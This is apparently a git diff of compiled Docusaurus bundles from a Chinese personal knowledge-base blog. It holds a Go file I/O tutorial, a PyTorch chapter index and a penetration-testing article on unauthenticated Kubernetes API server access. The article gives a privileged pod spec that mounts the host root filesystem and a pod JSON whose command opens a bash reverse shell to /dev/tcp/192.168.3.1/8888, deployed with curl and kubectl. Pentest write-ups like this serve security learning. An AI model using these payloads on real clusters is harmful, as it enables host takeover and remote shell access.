tmp[:n]...)\n\t}\n\tfmt.Println(string(content))\n}\n'})}),"\n",(0,i.jsx)(n.h3,{id:"bufio\u8bfb\u53d6\u6587\u4ef6",children:"bufio\u8bfb\u53d6\u6587\u4ef6"}),"\n",(0,i.jsx)(n.p,{children:"bufio\u662f\u5728file\u7684\u57fa\u7840\u4e0a\u5c01\u88c5\u4e86\u4e00\u5c42API\uff0c\u652f\u6301\u66f4\u591a\u7684\u529f\u80fd\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"bufio"\n\t"fmt"\n\t"io"\n\t"os"\n)\n\n// bufio\u6309\u884c\u8bfb\u53d6\u793a\u4f8b\nfunc main() {\n\tfile, err := os.Open("./xx.txt")\n\tif err != nil {\n\t\tfmt.Println("open file failed, err:", err)\n\t\treturn\n\t}\n\tdefer file.Close()\n\treader := bufio.NewReader(file)\n\tfor {\n\t\tline, err := reader.ReadString(\'\\n\') //\u6ce8\u610f\u662f\u5b57\u7b26\n\t\tif err == io.EOF {\n\t\t\tif len(line) != 0 {\n\t\t\t\tfmt.Println(line)\n\t\t\t}\n\t\t\tfmt.Println("\u6587\u4ef6\u8bfb\u5b8c\u4e86")\n\t\t\tbreak\n\t\t}\n\t\tif err != nil {\n\t\t\tfmt.Println("read file failed, err:", err)\n\t\t\treturn\n\t\t}\n\t\tfmt.Print(line)\n\t}\n}\n'})}),"\n",(0,i.jsx)(n.h3,{id:"ioutil\u8bfb\u53d6\u6574\u4e2a\u6587\u4ef6",children:"ioutil\u8bfb\u53d6\u6574\u4e2a\u6587\u4ef6"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"io/ioutil"}),"\u5305\u7684",(0,i.jsx)(n.code,{children:"ReadFile"}),"\u65b9\u6cd5\u80fd\u591f\u8bfb\u53d6\u5b8c\u6574\u7684\u6587\u4ef6\uff0c\u53ea\u9700\u8981\u5c06\u6587\u4ef6\u540d\u4f5c\u4e3a\u53c2\u6570\u4f20\u5165\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"io/ioutil"\n)\n\n// ioutil.ReadFile\u8bfb\u53d6\u6574\u4e2a\u6587\u4ef6\nfunc main() {\n\tcontent, err := ioutil.ReadFile("./main.go")\n\tif err != nil {\n\t\tfmt.Println("read file failed, err:", err)\n\t\treturn\n\t}\n\tfmt.Println(string(content))\n}\n'})}),"\n",(0,i.jsx)(n.h2,{id:"\u6587\u4ef6\u5199\u5165\u64cd\u4f5c",children:"\u6587\u4ef6\u5199\u5165\u64cd\u4f5c"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"os.OpenFile()"}),"\u51fd\u6570\u80fd\u591f\u4ee5\u6307\u5b9a\u6a21\u5f0f\u6253\u5f00\u6587\u4ef6\uff0c\u4ece\u800c\u5b9e\u73b0\u6587\u4ef6\u5199\u5165\u76f8\u5173\u529f\u80fd\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:"func OpenFile(name string, flag int, perm FileMode) (*File, error) {\n\t...\n}\n"})}),"\n",(0,i.jsx)(n.p,{children:"\u5176\u4e2d\uff1a"}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"name"}),"\uff1a\u8981\u6253\u5f00\u7684\u6587\u4ef6\u540d ",(0,i.jsx)(n.code,{children:"flag"}),"\uff1a\u6253\u5f00\u6587\u4ef6\u7684\u6a21\u5f0f\u3002 \u6a21\u5f0f\u6709\u4ee5\u4e0b\u51e0\u79cd\uff1a"]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,i.jsxs)(n.table,{children:[(0,i.jsx)(n.thead,{children:(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.th,{style:{textAlign:"center"},children:"\u6a21\u5f0f"}),(0,i.jsx)(n.th,{style:{textAlign:"center"},children:"\u542b\u4e49"})]})}),(0,i.jsxs)(n.tbody,{children:[(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:(0,i.jsx)(n.code,{children:"os.O_WRONLY"})}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u53ea\u5199"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:(0,i.jsx)(n.code,{children:"os.O_CREATE"})}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u521b\u5efa\u6587\u4ef6"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:(0,i.jsx)(n.code,{children:"os.O_RDONLY"})}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u53ea\u8bfb"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:(0,i.jsx)(n.code,{children:"os.O_RDWR"})}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u8bfb\u5199"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:(0,i.jsx)(n.code,{children:"os.O_TRUNC"})}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u6e05\u7a7a"})]}),(0,i.jsxs)(n.tr,{children:[(0,i.jsx)(n.td,{style:{textAlign:"center"},children:(0,i.jsx)(n.code,{children:"os.O_APPEND"})}),(0,i.jsx)(n.td,{style:{textAlign:"center"},children:"\u8ffd\u52a0"})]})]})]}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.code,{children:"perm"}),"\uff1a\u6587\u4ef6\u6743\u9650\uff0c\u4e00\u4e2a\u516b\u8fdb\u5236\u6570\u3002r\uff08\u8bfb\uff0904\uff0cw\uff08\u5199\uff0902\uff0cx\uff08\u6267\u884c\uff0901\u3002"]}),"\n",(0,i.jsx)(n.h3,{id:"write\u548cwritestring",children:"Write\u548cWriteString"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'func main() {\n\tfile, err := os.OpenFile("xx.txt", os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0666)\n\tif err != nil {\n\t\tfmt.Println("open file failed, err:", err)\n\t\treturn\n\t}\n\tdefer file.Close()\n\tstr := "hello \u6c99\u6cb3"\n\tfile.Write([]byte(str)) //\u5199\u5165\u5b57\u8282\u5207\u7247\u6570\u636e\n\tfile.WriteString("hello \u5c0f\u738b\u5b50") //\u76f4\u63a5\u5199\u5165\u5b57\u7b26\u4e32\u6570\u636e\n}\n'})}),"\n",(0,i.jsx)(n.h3,{id:"bufionewwriter",children:"bufio.NewWriter"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'func main() {\n\tfile, err := os.OpenFile("xx.txt", os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0666)\n\tif err != nil {\n\t\tfmt.Println("open file failed, err:", err)\n\t\treturn\n\t}\n\tdefer file.Close()\n\twriter := bufio.NewWriter(file)\n\tfor i := 0; i < 10; i++ {\n\t\twriter.WriteString("hello\u6c99\u6cb3\\n") //\u5c06\u6570\u636e\u5148\u5199\u5165\u7f13\u5b58\n\t}\n\twriter.Flush() //\u5c06\u7f13\u5b58\u4e2d\u7684\u5185\u5bb9\u5199\u5165\u6587\u4ef6\n}\n'})}),"\n",(0,i.jsx)(n.h3,{id:"ioutilwritefile",children:"ioutil.WriteFile"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-go",children:'func main() {\n\tstr := "hello \u6c99\u6cb3"\n\terr := ioutil.WriteFile("./xx.txt", []byte(str), 0666)\n\tif err != nil {\n\t\tfmt.Println("write file failed, err:", err)\n\t\treturn\n\t}\n}\n'})})]})}function f(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/assets/js/7250c14a.17cac3cb.js b/assets/js/7250c14a.17cac3cb.js new file mode 100644 index 0000000..fe46f18 --- /dev/null +++ b/assets/js/7250c14a.17cac3cb.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8818],{8167:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>i,default:()=>a,frontMatter:()=>l,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/README","title":"\u7b2c\u4e00\u7ae0","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/01.\u7b2c\u4e00\u7ae0/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"0.4 Jupyter\u76f8\u5173\u64cd\u4f5c.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c"},"next":{"title":"1.1 PyTorch\u7b80\u4ecb.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e00\u7ae0/1.1 PyTorch\u7b80\u4ecb"}}');var s=n(74848),c=n(28453);const l={},i="\u7b2c\u4e00\u7ae0",o={},d=[];function h(e){const t={code:"code",h1:"h1",header:"header",img:"img",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,c.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(t.header,{children:(0,s.jsx)(t.h1,{id:"\u7b2c\u4e00\u7ae0",children:"\u7b2c\u4e00\u7ae0"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:10"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,s.jsx)(t.h1,{id:"\u7b2c\u4e00\u7ae0pytorch\u7684\u7b80\u4ecb\u548c\u5b89\u88c5",children:"\u7b2c\u4e00\u7ae0\uff1aPyTorch\u7684\u7b80\u4ecb\u548c\u5b89\u88c5"}),"\n",(0,s.jsx)(t.pre,{children:(0,s.jsx)(t.code,{className:"language-{toctree}",children:":maxdepth: 2\n1.1 PyTorch\u7b80\u4ecb\n1.2 PyTorch\u7684\u5b89\u88c5\n1.3 PyTorch\u76f8\u5173\u8d44\u6e90\n"})})]})}function a(e={}){const{wrapper:t}={...(0,c.R)(),...e.components};return t?(0,s.jsx)(t,{...e,children:(0,s.jsx)(h,{...e})}):h(e)}},28453:(e,t,n)=>{n.d(t,{R:()=>l,x:()=>i});var r=n(96540);const s={},c=r.createContext(s);function l(e){const t=r.useContext(c);return r.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:l(e.components),r.createElement(c.Provider,{value:t},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/72f16780.3d999df5.js b/assets/js/72f16780.3d999df5.js new file mode 100644 index 0000000..770d9c8 --- /dev/null +++ b/assets/js/72f16780.3d999df5.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8030],{3492:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>a,contentTitle:()=>c,default:()=>h,frontMatter:()=>i,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/ApiServer","title":"Apiserver","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/01.ApiServer.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/ApiServer","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/ApiServer","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/01.ApiServer.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/"},"next":{"title":"etcd","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Etcd"}}');var t=s(74848),l=s(28453);const i={},c="Apiserver",a={},d=[{value:"kubectl\u5229\u7528",id:"kubectl\u5229\u7528",level:2},{value:"Api \u5229\u7528",id:"api-\u5229\u7528",level:2},{value:"\u7ed3\u8bba",id:"\u7ed3\u8bba",level:2}];function o(e){const n={a:"a",blockquote:"blockquote",code:"code",del:"del",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,l.R)(),...e.components};return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(n.header,{children:(0,t.jsx)(n.h1,{id:"apiserver",children:"Apiserver"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,t.jsxs)(n.table,{children:[(0,t.jsx)(n.thead,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,t.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,t.jsx)(n.tbody,{children:(0,t.jsxs)(n.tr,{children:[(0,t.jsx)(n.td,{style:{textAlign:"left"},children:(0,t.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,t.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:33:30"})]})})]}),"\n",(0,t.jsxs)(n.p,{children:["API \u670d\u52a1\u5668\u662f Kubernetes ",(0,t.jsx)(n.a,{href:"https://kubernetes.io/zh-cn/docs/reference/glossary/?all=true#term-control-plane",children:"\u63a7\u5236\u5e73\u9762"}),"\u7684\u7ec4\u4ef6\uff0c \u8be5\u7ec4\u4ef6\u8d1f\u8d23\u516c\u5f00\u4e86 Kubernetes API\uff0c\u8d1f\u8d23\u5904\u7406\u63a5\u53d7\u8bf7\u6c42\u7684\u5de5\u4f5c\u3002 API \u670d\u52a1\u5668\u662f Kubernetes \u63a7\u5236\u5e73\u9762\u7684\u524d\u7aef\u3002Kubernetes API \u670d\u52a1\u5668\u7684\u4e3b\u8981\u5b9e\u73b0\u662f ",(0,t.jsx)(n.a,{href:"https://kubernetes.io/zh-cn/docs/reference/command-line-tools-reference/kube-apiserver/",children:"kube-apiserver"}),"\u3002 ",(0,t.jsx)(n.code,{children:"kube-apiserver"})," \u8bbe\u8ba1\u4e0a\u8003\u8651\u4e86\u6c34\u5e73\u6269\u7f29\uff0c\u4e5f\u5c31\u662f\u8bf4\uff0c\u5b83\u53ef\u901a\u8fc7\u90e8\u7f72\u591a\u4e2a\u5b9e\u4f8b\u6765\u8fdb\u884c\u6269\u7f29\u3002 \u4f60\u53ef\u4ee5\u8fd0\u884c ",(0,t.jsx)(n.code,{children:"kube-apiserver"})," \u7684\u591a\u4e2a\u5b9e\u4f8b\uff0c\u5e76\u5728\u8fd9\u4e9b\u5b9e\u4f8b\u4e4b\u95f4\u5e73\u8861\u6d41\u91cf\u3002"]}),"\n",(0,t.jsxs)(n.p,{children:["\u4ee5\u4e0a\u662fk8s\u5b98\u65b9\u5bf9",(0,t.jsx)(n.code,{children:"apiserver"}),"\u7684\u89e3\u91ca\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230 ",(0,t.jsx)(n.code,{children:"apiserver"})," \u5176\u5b9e\u5c31\u662f\u4e3a\u4e86\u7edf\u4e00\u65b9\u4fbf\u7ba1\u7406\u3002 \u90e8\u7f72\u8fc7k8s\u90fd\u77e5\u9053\u8c03\u7528",(0,t.jsx)(n.code,{children:"apiserver"}),"\u7684\u547d\u4ee4\u884c\u5de5\u5177\u5c31\u662f",(0,t.jsx)(n.code,{children:"kubectl"}),"\uff0c\u4f8b\u5982\u5728\u4e3b\u673a\u6267\u884c ",(0,t.jsx)(n.code,{children:"kubectl get pods -A"})]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202307072231736.png",alt:"image-20230707223132174"})}),"\n",(0,t.jsxs)(n.p,{children:["\u5176\u5b9e\u5c31\u662f\u53ef\u4ee5\u7406\u89e3\u4e3a \u8c03\u7528 api ",(0,t.jsx)(n.code,{children:"/api/v1/pods/"})]}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202307072232250.png",alt:"image-20230707223255087"})}),"\n",(0,t.jsxs)(n.p,{children:["\u5728 ",(0,t.jsx)(n.code,{children:"kube-apiserver"})," \u7684 ",(0,t.jsx)(n.a,{href:"",children:"\u542f\u52a8\u53c2\u6570"}),(0,t.jsx)(n.del,{children:"\u76ee\u524d\u5b98\u65b9\u6587\u6863\u4e2d\u6ca1\u6709\u5bf9\u8fd9\u4e2a\u53c2\u6570\u7684\u89e3\u91ca\u4e86"}),"\u4e2d \u5b58\u5728\u4e24\u4e2a\u53c2\u6570 ",(0,t.jsx)(n.code,{children:"insecure"}),"\u3001",(0,t.jsx)(n.code,{children:"insecure-bind-address"})," \u8be5\u53c2\u6570\u53ef\u5c06\u672a\u6388\u6743\u7684\u7aef\u53e3\u66b4\u9732\u51fa\u6765"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:"kube-apiserver --h\n"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202307072341464.png",alt:"image-20230707234104496"})}),"\n",(0,t.jsx)(n.p,{children:"\u6216\u8005\u7ba1\u7406\u5458\u914d\u7f6e\u4e86\u533f\u540d\u8bbf\u95ee\uff0c\u4f8b\u5982"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:"[root@k8s-master01 k8s.yaml]# cat rbac.yaml \napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n name: anonymous-access\nroleRef:\n apiGroup: rbac.authorization.k8s.io\n kind: ClusterRole\n name: cluster-admin\nsubjects:\n- kind: Group\n name: system:unauthenticated\n[root@k8s-master01 k8s.yaml]# kubectl apply -f rbac.yaml\n"})}),"\n",(0,t.jsx)(n.h2,{id:"kubectl\u5229\u7528",children:"kubectl\u5229\u7528"}),"\n",(0,t.jsx)(n.p,{children:"\u5b89\u88c5 kubectl"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:'curl -LO https://dl.k8s.io/release/v1.18.5/bin/linux/amd64/kubectl # \u5b89\u88c5\u6307\u5b9a\u7248\u672c\ncurl.exe -LO "https://dl.k8s.io/release/v1.18.5/bin/windows/amd64/kubectl.exe" # windows\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u5236\u4f5c\u6076\u610f\u5bb9\u5668``shell.yaml`"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:'# shell.yaml\napiVersion: v1\nkind: Pod\nmetadata:\n name: shell-pod\n # namespace: nginx # \u4e0d\u6307\u5b9a\u5219\u4e3a\u9ed8\u8ba4\u7a7a\u95f4 default\nspec:\n containers:\n - name: my-container # \u5bb9\u5668\u540d\u79f0 \n image: nginx # \u955c\u50cf\n command: ["tail", "-f", "/dev/null"] # \u4e0d\u5173\u95ed\u8fdb\u7a0b\n securityContext:\n privileged: true # \u7279\u6743\u6a21\u5f0f\n volumeMounts: # \u6302\u8f7d\u6570\u636e\u5377 / -> /hosts\n - name: root-volume \n mountPath: /hosts\n volumes:\n - name: root-volume\n hostPath:\n path: /\n nodeName: k8s-master01 # \u9009\u62e9\u5bbf\u4e3b\u673a \u53ef\u4ee5\u4e0d\u9009\u62e9 \u4fdd\u6301\u9ed8\u8ba4\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u542f\u52a8\u3001\u5e76\u67e5\u770b"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:"kubectl -s http://192.168.3.200:8080 apply -f shell.yaml\nkubectl -s http://192.168.3.200:8080 get po -A\n"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202307072316500.png",alt:"image-20230707230304985"})}),"\n",(0,t.jsx)(n.p,{children:"\u8fdb\u5165\u5bb9\u5668"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:"kubectl -s http://192.168.3.200:8080 exec -it <\u5bb9\u5668\u540d\u79f0> -n <\u547d\u540d\u7a7a\u95f4> -- bash \nroot@shell-pod:/# whoami\n"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202307072316581.png",alt:"image-20230707230045674"})}),"\n",(0,t.jsx)(n.h2,{id:"api-\u5229\u7528",children:"Api \u5229\u7528"}),"\n",(0,t.jsxs)(n.p,{children:["\u5236\u4f5c\u6076\u610f",(0,t.jsx)(n.a,{href:"re-shell.json",children:"\u5bb9\u5668\u6587\u4ef6"})]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-yaml",children:'{\n "apiVersion": "v1",\n "kind": "Pod",\n "metadata": {\n "name": "re-shell-pod"\n },\n "spec": {\n "containers": [\n {\n "name": "re-shell-pod",\n "image": "nginx",\n "command": ["/bin/bash", "-c", "/bin/bash -i >& /dev/tcp/192.168.3.1/8888 0>&1"],\n "securityContext": {\n "privileged": true\n },\n "volumeMounts": [\n {\n "name": "root-volume",\n "mountPath": "/hosts"\n }\n ]\n }\n ],\n "volumes": [\n {\n "name": "root-volume",\n "hostPath": {\n "path": "/"\n }\n }\n ],\n "nodeName": "k8s-master01"\n }\n}\n'})}),"\n",(0,t.jsx)(n.p,{children:"\u65b0\u5efa\u6076\u610f\u5bb9\u5668"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:'curl -X POST -H "Content-Type: application/json" --data-binary "@re-shell.json" http://192.168.3.200:8080/api/v1/namespaces/<\u547d\u540d\u7a7a\u95f4>/pods\n'})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202307072316006.png",alt:"image-20230707231610327"})}),"\n",(0,t.jsx)(n.p,{children:"\u67e5\u770b\u72b6\u6001"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-shell",children:"curl http://192.168.3.200:8080/api/v1/namespaces/default/pods/re-shell-pod/status\n"})}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202307072345177.png",alt:"image-20230707232122633"})}),"\n",(0,t.jsx)(n.p,{children:"\u76d1\u542c\u53cd\u5f39shell\u7aef\u53e3"}),"\n",(0,t.jsx)(n.p,{children:(0,t.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202307072323246.png",alt:"image-20230707232204596"})}),"\n",(0,t.jsx)(n.h2,{id:"\u7ed3\u8bba",children:"\u7ed3\u8bba"}),"\n",(0,t.jsx)(n.p,{children:"\u200b\t\u5bf9\u4e8e\u8fd9\u7c7b\u5229\u7528\u4ec5\u4ec5\u5728\u4e8e apiserver \u672a\u914d\u7f6e\u8ba4\u8bc1\u7684\u6e05\u7a7a\u4e0b\uff0c\u800c\u76ee\u524d\u7684\u73af\u5883\u4e0d\u592a\u53ef\u80fd\u5c06\u4e0d\u5b89\u5168\u7684\u7aef\u53e3\u7206\u7834\u51fa\u6765\uff0c\u800c\u4e14\u6700\u65b0\u7248\u672c\u4e5f\u5bf9\u8fd9\u4e24\u4e2a\u53c2\u6570\u4e5f\u6ca1\u6709\u518d\u89e3\u91ca\u5f88\u96be\u53bb\u5229\u7528\u672a\u6388\u6743"}),"\n",(0,t.jsxs)(n.blockquote,{children:["\n",(0,t.jsxs)(n.p,{children:["\u66f4\u591a\u5229\u7528\u65b9\u5f0f\u770b\u5b98\u65b9\u6587\u6863\u5373\u53ef ",(0,t.jsx)(n.a,{href:"https://kubernetes.io/zh-cn/docs/reference/kubernetes-api/",children:"Kubernetes API"})]}),"\n"]}),"\n",(0,t.jsx)(n.p,{children:"\u200b"})]})}function h(e={}){const{wrapper:n}={...(0,l.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(o,{...e})}):o(e)}},28453:(e,n,s)=>{s.d(n,{R:()=>i,x:()=>c});var r=s(96540);const t={},l=r.createContext(t);function i(e){const n=r.useContext(l);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:i(e.components),r.createElement(l.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/74b0aab5.2adcf00a.js b/assets/js/74b0aab5.2adcf00a.js new file mode 100644 index 0000000..f78e8f9 --- /dev/null +++ b/assets/js/74b0aab5.2adcf00a.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[5701],{28453:(e,n,s)=>{s.d(n,{R:()=>c,x:()=>i});var t=s(96540);const d={},r=t.createContext(d);function c(e){const n=t.useContext(r);return t.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof 